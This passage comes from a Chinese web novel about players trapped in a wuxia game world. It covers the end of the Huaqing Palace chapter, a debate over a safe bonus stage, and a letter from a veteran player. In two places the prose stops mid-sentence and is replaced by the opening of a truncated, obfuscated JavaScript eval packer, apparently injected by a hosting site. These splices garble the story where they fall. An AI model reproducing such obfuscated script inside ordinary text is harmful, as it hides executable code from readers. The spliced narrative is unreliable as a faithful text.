斑驳高大的宫墙,遍布落英的宫道,褪色但齐整的鸳鸯瓦。远处巍峨的骊山悄然伫立,岁月的阴影随日光移转,在这座瑰丽的行宫中留下时间的刻痕。 几经风霜战乱,却无损其风华。 “清风明月苦相思,荡子从戎十载余。征人去日殷勤嘱啊,归雁来时数附书——” 风中传来梨园乐师们歌唱的声音,王维的《伊州歌》,是教坊中常常传唱的曲目。 “……” 它怔怔地看着,面容更加扭曲,竟然有一滴眼泪从苍白的眼眶中滚落下来。 一直以来,柳七刀对鬼折腾来折腾去到底是为了什么都没有清楚的概念,但此刻看着这滴眼泪,却好像模模糊糊地懂了一点。 这位乐师从一开始就因为身体不适没能参加梨园宴,而后突逢安史之乱,一时的错过,便成了一生之憾。 西宫南苑多秋草,落叶满阶红不扫。 梨园弟子白发新,椒房阿监青娥老。 ——付井仪的名字被从梨园宴乐师的名单上划去时,NPC都觉得难免可惜,鬼却说他是咎由自取,连倒霉都算不得。现在想来,这大概也是她对自己变相的评价,在那些抱着琵琶独自枯坐的、漫长的岁月里,当年的遗憾最终渐渐演化成了一种扭曲的苛责。 《魔鬼和渔夫》的故事是这么写的: 魔鬼被关在海底铜瓶中的第一个百年,能救它出来的人可以得到终身的荣华富贵。 魔鬼被关在海底铜瓶中的第二个百年,能救它出来的人可以获得无数金银秘宝。 魔鬼被关在海底铜瓶中的第三个百年,能救它出来的人可以向它许下三个愿望。 等到第四个百年过去,魔鬼便立下重誓:如果有人现在救我出来,我就要杀死他。 永恒的时间无疑是一种折磨,而她在与自己的周旋之中,选择了一场朽坏的美梦。 本来还想嘲笑几句,师襄看着默默流泪的鬼,淡淡道:“往者不可谏,来者犹可追。天地之大,并非只有华清宫里有永开不败的桃花。” 说完这句话,她再没有半分犹豫,随着琴音响起,鬼仍是一脸怔然,想要说些什么、却又说不出来,彻底消散在两人的视野之中。 师襄静静地看着鬼消散的地方,沉默了一会儿,埋头在小队背包里翻找起来。 柳七刀看着她的动作,摸不着头脑,便问:“你在找什么?” “之前殷……”师襄声音一顿,看向自己的手。 她的手正在以肉眼可见的速度干瘪下去,皮肤上一瞬间就遍布皱纹,视线里的景象也逐渐变得模糊浑浊。 “这这这就是杀了鬼的后遗症?”柳七刀舌头打结,眼看着师襄的身形迅速消瘦,摇摇欲坠起来,赶紧把手里快要裂成几瓣的轮回珠一扔,快步过去扶住师襄。 短短几秒,她的手臂已经嶙峋如一截干枯的树枝,似乎轻轻一用力就能折断。 师襄想说话,气管里却呼呼作响,咳了两声才断断续续道:“……正常。鬼要是活到现在,应该也是个老妪了。” 柳七刀小心翼翼地虚扶着她,一点也不敢用力:“那你怎么办?” “不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢不若一落地,刚想说话,先看到满头白发的师襄,愣了一下:“这是师襄吗?” “是,因为……” 柳七刀解释的话还没说完,李千驰他们也跳了下来,震惊道:“这是师襄吗?” “是——” “这是师襄吗?”曲小蕨从行守身后探出头来,哇哇大叫。 “呃……” 眼看好莱坞队也到场了,师襄抬起眼,一个眼刀扫过去,卫山河紧急撤回差点脱口而出的疑问句,肯定道:“这是师襄。” 四支队伍、二十个人,一人一句话都要说上半天,闹哄哄一片像菜市场,好在周围的常驻NPC该晕的晕、该绑的绑,已经被大家处理得差不多了。师襄虽然已经不再继续衰老,但是那副风烛残年的样子实在是有点吓人,一群人也不再耽搁,就要去找蒋玉凤。 “哎,这玩意落下了。”亓秀秀提醒道,弯下腰,捡起地上的轮回珠。 她刚把完全暗淡无光的轮回珠拿在手里,这千疮百孔的珠子就咔嚓一声,碎了个干净。 “……”周围人的表情都像被雷劈了一样,呆呆地看着她,几秒之后,如同沸水下油锅,哗啦一下又吵了起来。 “不是、干什么、这东西碰瓷啊?”亓秀秀被围在中间,捧着裂成四瓣的轮回珠简直气笑了,“不是我掰的吧?!” “不用——”师襄想告诉他们轮回珠的真相,然而这年事已高的身体说几个字就要深呼吸一下,差点把自己气死。 眼看着众人已经火急火燎地商量起怎么修复了,她干脆劈手抽出尹有攸别在腰后的打狗棒——第一下还没抽动,尹有攸一头雾水,赶紧双手给她递过来。 师襄也没客气,把打狗棒当龙头拐杖用,敲得地面啪啪响:“安静!听我说!” 尊老爱幼是传统美德,她一发话,乱哄哄的一群人都老实了,眼巴巴地看过来。 “这个轮——” “等一下!”祁云纵又叫道。 “你咋这么虎啊!”龙葵吓了一跳,赶紧把祁云纵捂住嘴往后拖,“当心师襄削你!” 祁云纵努力挣扎,终于让嘴重获自由:“有东西出来了!” 众人看过去,就发现裂开的轮回珠已经完全呈现出灰白的颜色,像是褪去了所有的生机,如同最普通不过的石料。但从珠子的最中心,却隐隐浮现出一个光点。 在师襄因为衰老而模糊浑浊的视野中,它如同摇动的烛火,微渺却又明亮。眼看着这光点飘飘摇摇地飞了过来,师襄若有所感,抬起手,接住了它。 光点落在她的指尖,化作点点金色的光晕,沉入了身体。 曲小蕨灵光一闪:“是buff!” 这东西她可不陌生,第三天从荒魂镇回来之后,赵云睿拿走阿里曼神像时作为交换,就在她手臂上写下过“不见红衣”四个字,那些字最后也是变成这样,飘进了他们的身体。 所有人都屏住了呼吸,心里已经有所猜测,却又不敢表现得太过于激动,生怕多喘一口气就会影响buff的加成,好莱坞队的四个人更是眼睛也不敢眨一下,陆厌小声问:“是什么?” 师襄深吸一口气,看着自己的手,回答道: “复苏。” 她的耳边似乎又听到了那些嘈杂的声音,只是这次,它们传递出的情感并不是迷惘和恐惧,而是淡淡的善意,像没入她身体的光晕一样,微微发热。自光晕消失之处,她原本干瘪的皮肤重新舒展开来,白发也慢慢地变回了黑色,伛偻的肩背再次挺直。 泉眼涌出,流淌过干涸的大地,所到之处,万物逢春。 随着她的恢复,那些声音也越来越模糊,像渺远的天音,最终归于静寂,似是道别。 山林雾,水涧风,逍遥客,绕尔行。 春夏秋冬寒暑暖,无事微风不肯来。 《第五天·华清宫》 完 63. 第五天·奖励关卡(六十三) 哗啦……哗啦…… 河水涌上沙洲,干枯的苇草在风中窸窣摇晃着。不多时,水声安静了下去,一望无际的宽阔河面上正升腾起一缕缕灰雾,逐渐聚拢,向岸边缓慢地涌来。阴霾天幕下,檐角两盏灯笼越发明亮,在浓重的雾气中映出客栈高大的轮廓。 并没有注意到远处沙洲正在悄然发生的变化,柳七刀拖着疲惫的步伐,跟着其他人迈进了客栈的大门。好不容易从华清宫这张地图里解脱了,他只想立刻瞬移回到客栈二楼的小床上,倒头就睡。再看看其他人,虽然还在有说有笑,但是那种困顿的神情却是无论如何也掩盖不住的,看来大家的体力和精神都已经到达临界值了。 一群人呵欠连天地等在赵云睿的柜台外面,准备点卯。柳七刀靠着墙,正在昏昏欲睡,却忽然被拍了一下。 他一抬眼,便看到仇非微微偏头,示意他们看柜台里面。 她的表情挺严肃,柳七刀的瞌睡顿时短暂地飞走了,伸长脖子向台面上看去。 “嗯?”下一个签字的裴洛川拿起炭笔,也发现了异常,他们这一队跟客栈里这些NPC的关系都不错,便直接问道,“老板娘,你换簿子了?” 的确,此刻放在台面上供玩家们签名的簿子已经不是之前那本,由仇非签下的“饿了么队”,正写在这新簿子的第一页上。 赵云睿还是那副温柔又云淡风轻的笑容,温声答道:“原来的不用了,换一本新的。” 她说完这句话,就轻轻摇起了扇子,显然不打算继续为众人解答更多了。 “怎么了,这会有什么影响吗?”李千驰转头小声问。 仇非摇了摇头。也许这个行为有什么特别的深意,也许只是赵云睿想换就换了,没人说得准,但留意一下,总是没错的。 而且,他们还有一个亟待解决的问题—— 陆厌紧跟在行守后面签完字,把炭笔往桌面上一拍,笑道:“老板娘,你这儿能查到我们包里的轮回珠是谁兑换的么?” 这个问题是大家最关心的,所有人都静静地等待着赵云睿的回答,便见她在万众瞩目中,云淡风轻地说: “有间客栈中,没有叫轮回珠的东西。” 没有? 柳七刀张口结舌,他有过很多种猜想,唯独没想过这种。其他人的反应也差不多,尤其是好莱坞队的五个人,柳七刀还是第一次从他们的脸上看到如此震惊的神情——殷炽被鬼(其实是师襄)吓到的那次不算。 付井仪紧接着追问道:“一直都没有么?” “从来都没有。”赵云睿颔首,“我这里并没有过轮回珠,所以自然也没有人从这里换走过轮回珠。” “这怎么可能?!”曲小蕨瞪大眼睛,脱口而出,“难不成那东西会凭空出现在好莱坞的背包里?” 现在看来,还真是凭空出现的。无论大家再怎么问,赵云睿那里翻来覆去就是几句话:没有、没换、不知道。眼看着问不出更多情报了,众人也只好一头雾水地回到大堂。 陆厌双手交握放在桌面上,看大家都坐下了,清了清嗓子。 “其实呢,关于轮回珠,我还有一个猜想。这就要从第四天说起了……” 他们这边说着,另一边,孟秋哒哒哒地从后厨跑出来,听到玩家们聊到了熟悉的名字,顿时放轻了脚步,慢慢地走过去。 “你的意思是,轮回珠可能是那个叫做‘唐催寒’的田螺玩家放进去的?” 仇非听陆厌讲完悬棺裂谷的故事,眉头紧锁:“就算是三周目的玩家,也没有其他队伍的背包权限吧,怎么想都觉得不大可能。” “相比之下,这个猜测还算合理了。”叶九溪说,一想到轮回珠,他心里就有种很不是滋味的感觉,“这种能保存玩家魂魄还将它们提供给人机的道具,确实不像是有间客栈能换到的东西。” 卫山河坐在角落发表意见:“如果是唐催寒,他应该会直接把轮回珠砸掉,四个队友都已经被淘汰了,没理由留着这个东西拘束他们的魂魄。” “话虽然这么说,但要下定决心砸掉,也是很难的。”行守叹道,“毕竟是这么重要的东西,谁也说不好里面的玩家魂魄以后是否还能复活……” “吭吭!” 孟秋觉得是时候登场了,清了清嗓子,跳了出来。 “你们在找唐催寒吗?我跟他可熟啦!” 她不说还好,一开口,师襄就皱起眉头。 “我记得,当初你在给我们介绍客栈的时候明明说三楼是老玩家的地盘,但不同周目的玩家CD不一样,上楼也见不到他们,那这个说法还有什么意义?” “西地是什么?”孟秋挠挠头,眼睛滴溜溜转了两圈,也没搞懂,“没办法啊,因为你们在不同的故事里面。” 顿了顿,她意味深长地说:“不过呢,你们在结算的时候,应该听到了‘奖励天数已经解锁’这句话吧,不如自己去有间客栈找他问问?” “……” 曲小蕨诚挚道:“那你得先给我们解释一下奖励天数是什么玩意。” ——第五天结算时,大家满脑子都是不知所踪的柳七刀和师襄,至于蒋玉凤说了什么,早就抛到脑后了。 “我来解释吧。” 一个清脆的声音响起,龙池乐自客栈二楼的阶梯上走了下来,身后是面无表情的纪空山。 华清宫相熟一场,两人也不再客套了,简单地打了个招呼,龙池乐便挑了张空桌子坐下,开门见山地说:“奖励天数解锁的意思,就是说,我们可以把这之后的任意一天,换成没有任何危险、只有奖励的有间客栈。” “什么?!” 这句话无异于平地一声惊雷,众人脸上惊诧不定,仇非略一思索,当即就问:“也包括第八天?最难的那一天也可以被替换吗?” “是这样的。”纪空山点点头,淡淡道,“跟蒋玉凤确认之后,就可以指定有间客栈作为任意一天的地图。在这一天的十二个时辰之内,不会有任何危险,可以非常轻松地度过。” 得到了确切的回答,哗的一下,玩家们纷纷开始激动讨论起来。 “这很好啊!”龙葵本来累得够呛,现在听到这个消息,又精神起来,也兴奋道,“第五天就这么难了,如果把第八天换成有间客栈,岂不是能规避掉很多风险?” “目前看来的确是这样,但我们会从有间客栈那里得到什么奖励还是未知数。”仇非敲了敲桌面,“提前使用奖励关卡,说不定能够增加后期抵御风险的能力。” “如果将有间客栈放在最后一天,或许会导致我们本该早一些拿到的奖励失去用处。”另一边,付井仪也沉吟道,“规避危险,不一定是好事。” “停一下停一下。”还有人记得正事,裴洛川举起手扬声问,“那孟秋说让我们自己去有间客栈问唐催寒又是什么意思?” 龙池乐耸耸肩,道:“大家都知道,浪客行里一共有三张奖励地图,有间客栈、东水寨、落樱林。不过在这里,好像没有东水寨和落樱林的存在……倒也正常。总而言之,作为奖励关卡的有间客栈和这个客栈并不算一张地图,我们现在所在的这个客栈,更像是一个存档点。 “虽然我不认识唐催寒,不过刚刚听了一耳朵,他是多周目老玩家对吧?你要知道,在浪客行里,玩家们的匹配基本上是完全随机的,遇见老玩家是一个概率很小的事件。 “但有一张图,所有玩家都会到达、总会到达的。” 那就是作为奖励关卡出现的有间客栈。 “三周目玩家的话,可能都去过三次了。”她补充道。 “那我们也没办法自己去问啊。”曲小蕨满腹狐疑地看向孟秋,“又不知道唐催寒什么时候在,碰不到怎么办?” 孟秋笑眯眯地摇了摇手指:“他现在就在呢。不过,你们要在客栈休息五天,到时候他就已经走了,所以……” “那我们不休息了,现在就出发吧。”师襄打断她的话,立刻道。 “直接换掉第六天?”祝灵正小声问。 “嚯,这么急。”唐逐星挑挑眉,“不再考虑一下了?” “我们可以分开行动。”行守提议,“想要在第六天去有间客栈的就现在去,想要用它换掉第七天或第八天的人留下。” “我不是这个意思啊!”孟秋看着已经开始迅速计划起来的玩家们,傻眼了,“我是说,我可以帮你们递信!到时候让他把回信放在客栈你们自己去拿就可以!报酬只需要几块饴糖,很便宜的!” “……”玩家们沉默地咀嚼着她的话,片刻后,曲小蕨小声吐槽道:“幼稚。” “这么简单,早说啊!”李千驰一拍桌子,就开始往外掏饴糖,“要几块?算了这些都给你吧!” “快想想要问什么问题……哦涉及到后面天数的内容是不是会被和谐?”龙葵道。 “放心,我有丰富的防和谐经验。”龙池乐说,收获诡异目光若干。 谢不若灵光一闪:“诶,你说我们用拼音或者英语写信怎么样?” “关于奖励天数的问题……”付井仪过来找仇非了。 其他人还在乱哄哄地讨论时,师襄拉开长椅,走到独自沉思的纪空山跟前。 “有事么?”纪空山抬起头,看向师襄,她的唇角绷得很紧,似乎很久没有笑过了,眼神平静而疲惫,像大火燃烧过后的灰烬。 师襄在心里无声地叹了口气,指了指大堂角落:“借一步说话吧。” 大家似乎都有各自要忙碌的事情,柳七刀坐在桌边,眼皮直打架,感觉桌面与自己脑袋的距离一会儿近、一会儿远的。这样迷迷糊糊的状态不知道过去了多久,似乎有人推了推他,一睁眼,才发觉眼睛不知何时早就闭了起来。 “上楼吧。”叫醒他的人是仇非,不轻不重地拍了拍他的肩,“第五天也辛苦你了,先休息一下。” “哦……”柳七刀睡眼朦胧地看向四周,这才发现周围不知什么时候早就安静了下去,大部分人都走了,只有零星几个人还留在大堂里,都坐到了同一张桌子旁,围着信纸写写画画、低声交谈。 他清醒了一点,就看到付井仪一边喝茶,一边拿着一张写满了字的信纸在看,裴洛川正在纸上写字,旁边是正在压低声音激烈讨论着什么的龙池乐和师襄。 “走吧。”唐逐星背着曲小蕨,一手提着困得站不稳的尹有攸的后脖领,跟他打了个招呼,“阎王们要开会了。” 阎王开会,柳七刀被他的冷幽默逗得乐了一下,想到这几位的脾气,还真是贴切的形容。 眼看这里没自己什么事,他刚想爬起来跟上唐逐星,脚步却一滞。 很不合时宜的,在这已经可以放心休息、气氛正好、本应该是非常幸福的时刻,他却忽然想起了华清宫的经历,想起了面对真假师襄时的绝望感。那种孤立无援的处境,急迫却又无可奈何的心情,再一次清晰地袭上了柳七刀的心头。 这次全靠师襄自己反杀成功,但万一以后这种情况还会再次发生,队友们到时候依旧不在他的身边,他又该怎么办?难道还要像这一次一样束手无措吗? “我也听一下吧。”想到这里,他有点底气不足地对仇非小声说,“非姐,我们也不能一遇到需要动脑子的事情就指望你。” 仇非一愣,眼神随即柔和起来,浅浅地笑了一下。 后面发生了什么,柳七刀就不知道了,因为等他再次睁眼时,入眼的就是熟悉的客房房顶。 谢不若和祁云纵在另一边睡得四仰八叉,龙葵一边打着呵欠一边把掉到地上的被子捡起来,看到柳七刀迷茫的眼神,便道:“醒了?他俩之前下去把你拖上来的,这么快又睡着了。” “我睡着了吗?” 柳七刀讪讪地问,这纯属多此一举,因为答案他已经知道了。 “大话说得好听,结果没两秒头就砸桌上了,老大一声,还说梦话。”龙葵耸耸肩,“又在所有队伍面前丢人了,非姐想刀了你。” 柳七刀放弃了思考。 他平躺着,盯着屋顶的纹路看,听着龙葵走向里屋的脚步声,体会着这来之不易的平静和安宁,很快又睡着了。 这一觉睡得天昏地暗,柳七刀再睁眼时,已经是晚上了,不知道是谁将案头的灯火也吹熄了,一室漆黑,只有窗棂中透进来的皎洁月光落在地上。 疲惫的感觉随着漫长的休息稍微减轻了一点,但仍然没有完全消退。柳七刀后知后觉,这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你好你好。”商陆长得温温柔柔,笑容也亲切,但一开口就是和龙葵不相上下的东北口音,“柳七刀对吧,可算是在客栈瞅着你了。之前在华清宫那会儿,我们一群人搁外边儿看你和鬼对峙……” 柳七刀有种不好的预感。他双手捂住耳朵,在心里呐喊:啊啊啊啊—— 心里的呐喊当然盖不住现实的声音,果然,商陆脸色一变,愤怒地抬起手臂:“单凭我一个人,怎么可能走到第五天!你以为在那些我们一起走过来的路上,随随便便抹去他们存在的痕迹,我就会相信吗!” 他表演完了,心满意足地看向柳七刀,安慰道:“别害羞,老帅了。” “……你开心就好。”柳七刀扯了扯嘴角,有那么一瞬间,很想从楼梯上一跃而下。眼看商陆还要再夸几句,他赶紧转移话题:“这么晚了,你不去休息,站在这里发什么呆?” 商陆听到他这么说,脸上的笑容淡了几分,轻轻叹了口气。 “队友吵架了。”他耸了耸肩,说。 “什么?”柳七刀一愣。 “看你这反应,队友没吵过架吧。”商陆瞥了他一眼,道。 柳七刀点头也不是,摇头也不是,有点尴尬。吵架?不存在的,基本上都是他们做了什么蠢事被仇非单方面训,偶有争执,也一定会有人先主动道歉低头递台阶。目前来看,唯一能用吵架来形容的,也就剩下祁云纵和谢不若的鹦鹉了。 “你就跑出来了?不劝劝吗?”他问商陆。 “早劝过了,现在没再吵了。”商陆苦笑道,“就是那屋里太闷了,待着也难受,我才出来的。” 柳七刀不知道说什么好,最后拍了拍他的肩膀。 “哎,收起你那同情的眼神儿啊。”他如此善解人意,商陆反而不爽了,“我队友都很好的,吵架归吵架,不影响感情。” “我懂我懂。”柳七刀赶紧说。 “你们呢?”商陆干脆在台阶上坐下来,示意柳七刀坐到他旁边,“决定好拿有间客栈替换掉哪天了吗?” “原来你们是为这个在吵架啊。”柳七刀也顺势坐下,诚实道,“我不知道,我睡着了,刚醒不久……不过一般来说都是想换掉第八天吧。难道你们也想换第六天?” “不然干嘛吵架呢。”商陆道,“按照浪客行一直以来表现出的惯例,这个破游戏的机制显然是不支持投机取巧的,只有迎难而上才能得到最大的奖励,规避掉第八天的风险固然令人心动,但或许也意味着,我们会失去什么本该可以得到的东西。” 他问柳七刀:“你呢?如果是你的话,你会换掉哪一天?” “我说了不算,得大家一起决定。”柳七刀想了想,道,“不过让我选的话,第六天吧。毕竟是奖励关卡,说不定有什么好道具,早拿早快乐。” “阿乐也是这么想的。”商陆眼神复杂地看着他,直把柳七刀看得汗毛倒竖,好半天才移开眼,长叹一声,“但是空山不同意。也可以理解她,毕竟……” 毕竟他们已经失去了一个同伴。 “真抱歉啊,拉着你唠了这么多。”他笑了笑,“有些话实在是不知道还能找谁去说了,跟我的队友们说,只会徒增悲伤。” 柳七刀想起纪湘君的事情,心里也一阵难受。虽然他跟纪湘君没打过交道,但代入自己,想想队伍里无论少了谁,都完全没法接受。 他说:“没关系的,就是我不太会安慰人,你别介意。” “你愿意听我说,就已经很好了。”商陆低头笑了笑,把搭在肩上的兜帽又拉起来,遮住了半张脸,“其实大家都有点接受不了,总是觉得湘君还在我们的身边,下一秒就会出现,最现实的反而是空山……” 他抿了抿嘴唇,有点说不下去了,但很快又笑起来。 “还好,只要我们能成功通关,就还有希望。所以空山才一心想要规避最大的风险,坚持要用有间客栈换掉第八天,为此不惜违反我们一直坚持的那个做法。” “那个做法?”柳七刀没听明白。 “阿乐要我们保密。”商陆深深地看了他一眼,又补充道,“而且我觉得,也许还是不知道比较好。” 听到他这么说,柳七刀感觉好奇心有点冒头了;但是想到好奇心通常带来的都不是什么好下场,而且恰鸡队一直以来都是一种神神秘秘不知道在谋划什么的形象,他赶紧甩甩头,把那一丝好奇心甩掉,肚子也非常应景地咕咕叫了起来。 “哈哈哈。”商陆笑出了声,站起来,拍了拍校服下摆的灰尘,“谢谢你陪我唠这么久。我回去睡觉了,你也快去吃点宵夜吧。” 64. 第六天·有间客栈(六十四) 五天的时间,说长不长,说短不短,一晃而过,很快又到了该出发的时候。 这应该是心态最平和的一次出发了。柳七刀这样想着,看到记不住队的五个人一只雕从楼上飞奔下来,风风火火地冲了过来。 他往旁边站了站,给雕兄挪了点地方,感觉到它宽大的羽翼暖烘烘地紧贴在他身边。 “不好意思,睡过头了!”方叱羽从雕兄背后探出头来,“大家都到了吗?” “四个队伍都到齐了。”回答他的是行守,“至于恰鸡队么,他们并不打算和我们一起前去有间客栈,已经早一步出发去浮景峰了。” “看来他们是打定主意要用奖励关卡换掉第八天了。”裴洛川若有所思。 唐逐星耸耸肩,道:“无所谓了,大家各有各的路要走。” 像这样四支队伍同时挤在柜台前是非常少见的,人群的最前端,仇非还在跟蒋玉凤反复确认细节。 “奖励是固定的,对么?”她再三询问,“不会因为我们人多就导致有些队伍拿不到或者拿到的奖励变少吧?” 蒋玉凤面对乌泱泱一群人,笑容仍然淡定温和,耐心地答道:“不会的。具体的回报,是根据进入的队伍决定的。” 仇非点点头,又追问:“你能确保那张图绝对安全吗?不会出现文字游戏吧,比如说像‘有间客栈’绝对安全但客栈外面存在危险的情况。” “只要侠士们决定在第六天前往有间客栈,那么第六天就是绝对安全的天数。”蒋玉凤回答,“侠士们只需在有间客栈放心休息、自行游玩,十二时辰后,就可以回到这里了。” “听起来好像没坑。”曲小蕨嘟囔道。 “那走吧。”师襄已经等得有点不耐烦了。 “好开心啊,有种大家一起去郊游的感觉。”李千驰嘿嘿笑了两声,左手一揽谢不若,右手往祝灵正的肩膀上一搭,“好久没有这么轻松的时候了!” 他是轻松,被他搭住肩膀的祝灵正浑身僵硬,将求救的目光投向师襄。 师襄背对着他站着,根本接收不到,兀自对蒋玉凤说:“行,那就麻烦你送我们去第六天。” “好的。”蒋玉凤从善如流,微笑道,“这是你们的第六天……欢迎来到有间客栈。” 春寒度水,夜色临山。 驿边棠花,送君折柳。 眼前一晃,他们一行人已经整整齐齐地站在山道上。只是和总是氤氲着阴沉浓雾的“客栈”不同,作为第六天出现的有间客栈,阳光和煦,带着暖洋洋的温度,照在脸上肩上,竟然让人打从心底里有一种安心和放松的舒适。 空气中弥漫着草叶的清新,在“客栈”里休息了五天都没能完全抹去的疲惫感,在也温柔的风中慢慢消退着。 “好舒服……” 曲小蕨张开双手,闭上眼,阳光透过薄薄的眼睑,将世界晕染成一片暖橙色。 “这就是奖励关卡啊。”陆厌也感叹道,“确实不太一样。” 祁云纵就更直接了:“好像进了小说里的灵泉空间,空气都是甜的。” 这张地图更加类似于游戏里的样子,一切都充满了令人怀念的熟悉感。只不过,山道上没有装备商人葛尔施,马厩旁不见忙碌的店小二,外面的茶棚里没有喝茶的丁承望和罗大力,连那条叫阿黄的狗都不在。 “和湘竹溪一样,没人啊。”亓秀秀边走边四处打量,道。 龙葵闻言,抖了抖胳膊上的鸡皮疙瘩:“别啊,这儿晚上不会也有尸人从地底下爬出来吧。” “应该不会,蒋玉凤说第六天是绝对安全的,这句话没有文字漏洞可以钻,那就是字面意思了。”付井仪道。 “保险起见,再检查一下?”师襄略一沉思,对自己的队友们挥了挥手,“走,去客栈后面看看。” “那我们也去前面转一下。”方叱羽道,轻轻拍了拍疾夜的脖颈,“看看周围有没有人。” 疾夜清鸣一声,展开双翼,飞上了天空。 “那我们就去检查渡口那边吧。”眼看着记不住队和好莱坞队各自行动起来,仇非转头,对众人道,“师襄说得没错,涉及到安全问题,还是谨慎一点比较好。” 付井仪点了点头:“我们去检查客栈里面。” 这张地图和游戏一样,并不算大,如果有什么动静,四队应该都能察觉到,这也是大家放心分头行动的原因;商量完毕,饿了么队便径直朝客栈外延的那片沙洲走去。 很快,他们就走到了岸边,再向前,就触碰到了空气墙一样的东西,看来这里就是地图的边缘了。 沙洲上,铺着一条小小的木质栈道,尽头延伸成码头的形状,涌上岸边的河水一浪紧接着一浪,打在木桩上,水声叮咚连串。放眼望去,对岸似乎有山影绵延,淡云薄雾萦绕山间,宽阔的河面上波光闪烁,阳光的碎影随浪涛粼粼流动,让人不禁一扫心中郁气,有种豁然开朗的感觉。 “如果每一天都是这样就好了。”龙葵忍不住感叹道。 可惜,这宁静与安谧仅属于第六天的有间客栈。 这张地图实在也不大,祁云纵在岸边溜达了一圈,将走过的地方铺满了生太极。没进战,就说明没有敌对势力存在,这里确实是非常安全的。 地面上掠过宽大的黑影,柳七刀抬头看去,疾夜在天空中盘旋了一圈,慢慢收拢双翼,落在了客栈的房脊上,悠闲地整理着羽毛,看来周边也没有什么危险。 真好啊。他忍不住在心中发出了和龙葵一样的感叹,如果每一天都是这样,那就好了。 检查完这片沙洲,他们便回到这张地图唯一的建筑物,客栈。这客栈和他们每结束一天回去休憩的“客栈”对比,显然矮小了许多,从外表上看一共只有两层,建模与游戏中别无二致,一扇小小的木门虚掩着,门槛光滑,显然经常被人踩踏。 除了去检查屋后的好莱坞队还在回来的路上,其他两支队伍都已经在客栈大堂中了。这大堂也实在是不大,一览无余,除了右手边的柜台,便仅有五张桌子错落摆放在正中。 一群人围在柜台旁不知道在研究什么,看到他们回来了,便让出一条路来。 谢不若眼尖,一眼就看到被付井仪拿在手中的是一张薄薄的信纸:“是那个老玩家的回信吗?” “是的。”付井仪将信纸递给仇非。 “看你们的表情,好像不太乐观啊。”祁云纵随口说。 “让你说中了。”裴洛川叹了口气,“越来越迷糊了。” 仇非已经展开信纸读了起来。 “来信收到。 轮回珠一事,与我无关。玩家的权限不会随着周目改变而增加,我没办法将东西放进其他队伍的背包,也没听说过它。 几轮游戏以来,我们队伍对有间客栈可供兑换的物品研究很多,也从来没见过这一类目。 虽然这种道具看上去邪门,但既然能给出复苏buff,一般不是坏事。至于轮回珠中储存着玩家灵魂一事……” 柳七刀感到旁边有人站定,他转头一看,是师襄来了,正皱着眉头,凝视信纸上的字;卫山河、祝灵正和殷炽站在门口,陆厌倚在门框旁边,都在仔细听着。 “……衷心感谢。”仇非念道。 “轮回珠中或许也有我相熟的好友。能使他们得以解脱,无论如何,实在感激不尽。 不过在此之前,我对玩家和人机之间的关系并不清楚,之所以有意控制‘队友’的人机化程度,只是因为人机以完全相同的面容和记忆做出那种事情,对他们来说是一种侮辱,我无法接受,仅此而已。 另,用奖励关卡替换掉前面的天数而非第八天的选择是否正确,我的意见是,是的。浪客行的本质是书,所谓‘文似看山不喜平’,它的逻辑一直在鼓励玩家们迎难而上,如此才称得上精彩。 第八天是最危险的天数,规避的行为,或许会被浪客行视作是一种投机取巧,届时的奖励,肯定无法与正常情况相提并论。 当然,这只是我的想法,毕竟第八天实在危险,若感到害怕,把握不足,替换掉它,也不失为一种好选择,不必为此纠结,安全重要。 “此外,关于奖励关卡的事,想必NPC并未详细说明,我再补充一些。 浪客行的地图是长期存续的,进入也有时间节点之差,但有间客栈不受此限制。 此地是时空交汇之处,没有时间概念,或许可以简单理解成一本书的目录——无论书中有多少章节,都会尽数交汇于目录。在这里休息时,务必勤加探索,或许会有所收获。 于客栈中收到你们共同写就的信,实在意外。有心帮你们询问,但老玩家仅我一人,无人可问;关于轮回珠的事情未能帮忙,深感抱歉。 祝福心领,来信珍藏。 不知道有多少人会读到回信,也祝你们,平安、顺遂。 期待来日相见。 唐催寒。” 仇非读完,便把信纸递给一边的师襄,师襄揉了揉眉心,轻轻叹了口气,接了过来。 “他好情真意切。”曲小蕨吸吸鼻子,“不知道为什么我有点想哭呢。” “他说老玩家只剩他一个……其他人不会都‘那个’了吧。”叶九溪问陆厌。 陆厌摇摇头:“别人不知道,但是他说他的队友是通关走了。” 这却是大家都没想到的,龙葵惊讶道:“通关走了?那他为啥不走?” “谁知道呢。”师襄检查了一遍信纸,确定没有夹层和暗号,又将它仔细收好,“那人看上去挺孤僻的,但其实是个好人,也许有自己的原因吧。” 轮回珠不是唐催寒放的,本来以为能解开的谜题又一次变得扑朔迷离起来。实在是没有头绪,大家也只好暂且将这件事放到一边去,全身心地开始享受难得的休息时光。 客栈地方太小,转个身都嫌挤,一群人干脆跑到外面席地而坐,一边从小队背包里往外掏吃的,一边懒洋洋地晒起太阳来,那群外功近战更是闲不住,吆喝着要掰手腕玩。 ——首先被推上去的是叶九溪和尹有攸,一边是能抡起六十斤重剑风来吴山的藏剑,一边是能用巴掌和各种冷兵器同台竞技的神奇力道,两个人一上来就陷入了短暂的僵持。 “行不行?不行就下来换我上!”同为力道职业,谢不若在一边看得手痒痒。 尹有攸从脖子开始慢慢往上涨红,最后连耳朵都红了,也不愿意挪地方,坚持道:“……行。” “让我来!让我来!”李千驰振臂高呼,柳七刀虽然没开口,但是已经默默走到叶九溪身后准备排队了。 “既其出则或咎其欲出者,下一句是什么?” “呃,呃……”曲小蕨急得满头大汗,抓耳挠腮地想了半天,“而余亦悔其随之而不得极夫游之乐也?” “对了。”裴洛川扶了扶并不存在的眼镜,“继续。” “不要啊啊啊啊!”曲小蕨绝望大喊,想爬起来跑路,又被亓秀秀在脑袋上轻轻拍了一下:“坐好别乱动。” 她和龙葵一左一右,已经给曲小蕨编了一脑袋的辫子,这会儿正往上插小花。 “师父救我!”曲小蕨被夹在中间,哽咽道。 行守不知道什么时候换来一套茶具,这会儿已经在喝茶了,惬意道:“挺好的,温故而知新。” 另一边,卫山河被身边走来走去的殷炽烦得头晕,终于忍不住了:“想加入就过去啊!” “我没有。”殷炽严肃道。 陆厌干脆去找坐在树下擦拭千机弩的唐逐星嘀嘀咕咕了一番,片刻后,唐逐星直接过来,把殷炽拉走了。 